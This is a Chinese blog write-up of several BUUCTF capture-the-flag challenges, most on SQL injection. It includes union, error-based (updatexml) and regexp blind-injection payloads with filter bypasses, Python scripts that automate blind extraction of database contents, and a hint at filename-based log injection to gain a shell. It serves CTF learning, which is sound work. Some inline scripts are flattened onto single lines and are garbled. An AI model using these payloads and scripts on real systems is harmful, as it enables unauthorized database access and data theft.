buu(sql注入)

编程入门 行业动态 更新时间:2024-10-09 09:21:28

<a href=https://www.elefans.com/category/jswz/34/1767650.html style=buu(sql注入)"/>

buu(sql注入)

目录

[SWPU2019]Web1

构建虚拟表

取别名

完整的语句

[BSidesCF 2019]Kookie

这道题勉强算是cookie注入题目扒,

[WUSTCTF2020]颜值成绩查询

考察sql盲注

[RCTF2015]EasySQL

这道题考察,二次注入,以及报错注入

[NCTF2019]SQLi

考察盲注,扫目录以及parse.unquote(’%00’)     ;%00注释手段



[SWPU2019]Web1

 那先注册,登录

因为注释符都被过滤了,所以用'单引号闭合后面的引号 

这应该是注入点的位置, 发现# --+被过滤,然后是上传发现,没空格,那就有/**/代替空格

然后查询一下列数,看看回显的位置 

 列数不对,or也被过滤,大小写,双写都不能绕过,呃呃呃,这样order,information都被过滤了

只能一个个试,最后发现一共有22列,

1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

 回显位置,2,3现在我们需要找一个命令替换掉,information.schema_tables,

利用mysql.innodb_index_stats或者mysql.innodb_table_stats

 1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_index_stats/**/where/**/database_name="web1" 

显示出了ads,users,推测在users表中

这时候需要构建无列名注入

构建虚拟表

select 1,2,3 union select * from users

取别名

select group_concat(a,c) from(select 1,2 as a,3 as c union select * from users)b

b其实就是虚拟表的表名,前面省略了as

完整的语句

1'/**/union/**/select/**/1,(select/**/group_concat(a,c)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/c/**/union/**/select/**/*/**/from/**/users)b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

这里也是猜测flag,会在前两个字段 

[BSidesCF 2019]Kookie

这道题勉强算是cookie注入题目扒,

 打开界面,我们发现是 admin账号还是monster,这道题肯定与cookie有关,直接在cookie中

传入 username=admin&password=admin

 翻译一下,你已用admin登录,感觉后面多余删去试试

直接出来试一下monster, 

啥都没有,考察cookie用admin登录,都不需要密码,感觉挺离谱的,

[WUSTCTF2020]颜值成绩查询

考察sql盲注

发现输入1-4有回显

尝试一下注入方式,应该识别还是1的,肯定有的函数被过滤掉了, 

 试了一下发现是空格被过滤掉了,然后我们需要编写脚本

import time
import requests
Success_message = "Hi"
def database_name():db_name = ''for i in range(1, 10):begin = 32end = 126mid = (begin + end) // 2while begin < end:payload = url + "?stunum=(ascii(substr(database(), %d, 1)) > %d)" % (i, mid) #应该就是判断,如果大于成立res = requests.get(payload)if Success_message in res.text:   #也就是上面的大于成立页面会有hi这个字符begin = mid + 1               #二分法,因为大于所以要找到else:end = midmid = (begin + end) // 2          #假如我的字符是 85   然后中间79,85》79成立,进行操作begin=79+1  80,if mid == 32:                         #mid=(80+126)/2  103 ,85>103 执行else,end=103,mid=103+80 /2=91print()                          #85>91不对,然后end=91,mid=91+80 /2=85break                            #85>85不对,end=85 mid=80+85  /2  =82    ,85>82对然后,begin=81,mid=81+85 /2=83 ,begin=82db_name += chr(mid)print("数据库名: " + db_name)return db_namedef table_name():table_name = ''for i in range(1, 100):begin = 32end = 126mid = (begin + end) // 2while begin < end:payload=url+"?stunum=(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)"%(i,mid)res = requests.get(payload)if Success_message in res.text:begin = mid + 1else:end = midmid = (begin + end) // 2if mid == 32:print()breaktable_name += chr(mid)print("数据库名: " + table_name)table_list=table_name.split(",")   #每个数据库名之间用,分割都放在了列表里面for tab_name in table_list:            #然后从列表依次取值,调用column函数column_name(tab_name)def column_name(tab_name):column_name = ''for i in range(1, 100):begin = 32end = 126mid = (begin + end) // 2while begin < end:payload=url+'?stunum=(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="%s")),%d,1))>%d)'%(tab_name,i,mid)res = requests.get(payload)if Success_message in res.text:begin = mid + 1else:end = midmid = (begin + end) // 2if mid == 32:print()breakcolumn_name += chr(mid)print("列名: " + column_name)column_list = column_name.split(",")  # 每个数据库名之间用,分割for col_name in column_list:flag(tab_name,col_name)def flag(tab_name,col_name):flag_name = ''for i in range(1, 100):begin = 32end = 126mid = (begin + end) // 2while begin < end:payload=url+'?stunum=(ascii(substr((select(%s)from(%s)),%d,1))>%d)'%(col_name,tab_name,i,mid)#payload = url + '?stunum=(ascii(substr((select(%s)from(%s)),%d,1)) > %d)' % (#    col_name, tab_name, i, mid)#time.sleep(0.2)如果访问不出来可以sleep,缓冲一下res = requests.get(payload)if Success_message in res.text:begin = mid + 1else:end = midmid = (begin + end) // 2if mid == 32:print()breakflag_name += chr(mid)print("字段值: " + flag_name)if __name__ == '__main__':url = input("请输入url:")table_name()

 最后成功,这道题让我对盲注脚本格式更加清楚了

[RCTF2015]EasySQL

唉没开学,还是继续努力把

这道题考察,二次注入,以及报错注入

打开界面就是一个登录的界面,然后注册登录很常规

 注册的时候发现用户名有过滤限制,然后登录进入以后有修改密码的操作。

看见注册框会想到; 

1.会不会是admin就行一下注册用户名绕过进去获得flag

2.弱密码

3.用户名注入                         

都实验了一下放弃, 

所有的线索都在这里,试了好久titile这个注入点失败

 没思路的我,想到会不会是二次注入,在注册用户注入,然后修改密码进行第二次

一次注入点在注册的位置,将不安全语句存入到用户名位置,随后在更改密码处,会调用用户名来确认改密码的位置,以造成二次注入。

这样我们要确定一下,注入点的符号是’ 还是”

都注册然后到修改密码试了一下,发现是"双引号,存在一个报错回显

 前面的推断正确这里应该含有一个sql语句,

 可知道包裹方式为双引号,可推断出修改你吗语句为

update users set password='newpassword' where user="登录用户" and password='oldpassword'

然后又想到了,报错注入进行

fuzz发现空格%20被过滤掉了这里用括号代替 

t"^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1)#

 爆出了表名,

 推测在flag表中

t"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name="flag"))),1)#
t"^updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag))),1)#

 字段flag,就当我以为要出来的时候

呃呃呃,捉弄我,其实碰到过这种,那真正的flag应该在user表中

t"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name="users"))),1)#

 肯定是在real_flag_1s_her字段中继续


t"^updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_her))from(users))),1)#

这是,没在字段列表里面,第一次遇到百度一下 

 解释:爆出没有该列。

那可能爆列名的时候没有显示全,对于输出字符有限制,我们只显示这一条。这时候可以加个正则

regexp('^r')是MySql的正则,^r匹配开头是r的字段,也就是column_name=real_flag_1s_her

test"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1)#

找到真正的列,匹配数据

test"^updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users))),1)#

不行了太困了明天继续!!! 

flag应该在后面,用正则匹配

t"^updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1)#

regexp('^f')也就是找f开头 ,flag..

 

出来了一半,然后反序输出一下啊,使用reverse函数翻转字符串

t"^updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1)#

 反过来就是 40-2cdf-416a-a380-cda65b9f320f}

flag{47c27140-2cdf-416a拼接一下flag{47c27140-2cdf-416a-a380-cda65b9f320f}

[NCTF2019]SQLi

考察盲注,扫目录以及parse.unquote(’%00’)     ;%00注释手段

 打开界面额,登录框界面,单引号为闭合方式

然后' or true各种,实验发现,过滤了太多了  

这时候就想到了报错过滤,可还是不对,发现过滤了引号

真是看了wp,才发现竟然有隐藏目录,sql注入给我设置个隐藏唉,还是太年轻了 

robots.txt -->> hint.txt

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";If $_POST['passwd'] === admin's password,Then you will get the flag;

黑名单上挺多的,引号都禁了,看见passwd的密码等于admin账号的密码就行

对账号没有限制

所以这时候我的思想就是,对密码进行盲注,可是盲注是需要成功后的返回值的

(passwd/**/regexp/**/"^y") 这就是对密码进行了正则第一个为y

select * from users where username='' and passwd='' #登录框处查询语句username=\&passwd=||(passwd/**/regexp/**/"^y");%00   #用户名输入\,密码输入“或”符号加括号、内联绕waf,及结尾截断。sqlquery : select * from users where username='\' and passwd='||/**/passwd/**/regexp/**/"^y";相等于select * from users where (passwd/**/regexp/**/"^y");

username=\&passwd=||(passwd/**/regexp/**/"^y");%00 

如果我们输入这个,因为对引号过滤了所以会变成

username=\'&passwd=||(passwd/**/regexp/**/"^y");%00 

;%00是过滤掉后面的字符引号,这里传入burp后需要再改回%00

  • 直接盲注,注意在写python的时候传入%00不能直接传入,直接传会解码直接为空,用parse.unquote(’%00’)url解码
  • regexp注入就类似于挨个比较吧,相等的时候返回true.

 然后我们现在需要获取返回true的界面信息  

username=\&passwd=||(passwd/**/regexp/**/"^y");%00

大佬们都是fuzz爆破出来的,我调试不对,只能一个个使出来,发现首位是y并且返回了welcome

返回信息有了构造python脚本

import string
import requests
from urllib import parse  #定义了url的标准接口,实现url的各种抽取#parse模块的作用:url的解析,合并,编码,解码passwd = ''
string= string.ascii_lowercase + string.digits + '_'   #前面是小写字母,后面是数字
url = ':81/index.php'for n in range(100):for m in string:data = {"username":"\\","passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((passwd+m),parse.unquote('%00'))  #这里用到了parse#                               这里因为”被过滤所以用\实义一下}res = requests.post(url,data=data)if 'welcome' in res.text:passwd += mprint(m)breakif m=='_' and 'welcome' not in res.text:break
print(passwd)

 

[CISCN2019 总决赛 Day2 Web1]Easyweb

考察sql盲注,目录扫描

 打开界面,万能密码,注入都用了,没有过滤也没回显,感觉有别的路径

查看源码

感觉这个就是注入点,打开以后

 发现除了1,2,3,是三张图片,就是这个了,过不去扫描目录,robots.txt ,

<?php
include "config.php";$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";$id=addslashes($id);
$path=addslashes($path);$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

 输入如果不输入id,就默认为1  path同样如此

addslashes 是在 ' " \前面自动加一个\反斜杠

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);

\\0 第一个反斜杠是转义,也就是有 \0替换为 空

  • str_replace()函数将两个变量内的\0%00\''都替换为
  • 将变量$id$path拼接进SQL语句
  • 本地测验:
  • <?php$id = "\\0";echo $id.'<br>';      \0$id = addslashes($id);echo $id.'<br>';    \\0$id=str_replace(array("\\0","%00","\\'","'"),"",$id);echo $id;    \
    ?>
    

    也就是说,\\0在传入变量$id的值后,首先被转义为\0,再经过addslashes()函数的处理,变量$id="\\0",再由str_replace()函数的替换,最终变为\
    SQL语句变为:

  • select * from images where id='\' or path='{$path}'
    

    其中\'变成了字符串包含在两侧的'单引号中,即变量$id的值为:\' or path=
    之后就可以从{$path}处拼接SQL语句,但没有查询结果回显,所以尝试盲注,通过猜测数据库名长度,构造Payload以验证猜想:

  • ?id=\\0&path=or 1=if(length(database())>1,1,-1)%23
    

    发现页面回显图片正确

  • 所以我们考虑用盲注脚本

  • import requestsurl = '.php?id=\\0&path=or 1='
    flag = ''
    table_name = ''for i in range(1, 50):for c in range(127, 0, -1):payload = 'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ),%d,1))=%d,1,-1)%%23' % (i, c)r = requests.get(url+payload)if "JFIF" in r.text:table_name += chr(c)print(table_name)break
    

    之所以是JFIF

  •  因为用burp抓包返回正确,里面包含了 这个字符

  • 得到了两个表:imagesusers
    判断用户信息应该在users表中,继续爆出列名:
    注:因为过滤了'单、"双引号,所以需要将字符串转换成十六进制

  • 因为是16进制所以需要加0x,过滤是因为上面的函数在引号前加\

  • users -> 0x7573657273
    
    if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 ),0,1))=1,1,-1)%23
    

    得到列名:usernamepassword
    接下来就是常规的盲注,需要获取用户名密码

    •         payload = 'if(ascii(substr((select group_concat(username) from users),%d,1))=%d,1,-1)%%23' % (i, c)
      

      用户名为admin ,password 8b8419ff10f15a4ab35f

    •  登陆

    •  文件上传

    •  提示我flag配置放入了文件中,可是我怎么也连不上建议 ,唉只能先到这了

过了N天,回看这道题

日记注入需要我们使用文件名进行注入, 

过滤了php所以我们需要使用短标签,最后链接 php后面的.LOL 纯属迷惑你的

 :81/logs/upload.9d0326254e97fb2e4c464296525808fc.log.php

这样就可以链接上了,文件名注入 

更多推荐

buu(sql注入)

本文发布于:2024-02-14 09:31:30,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1762719.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:buu   sql

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!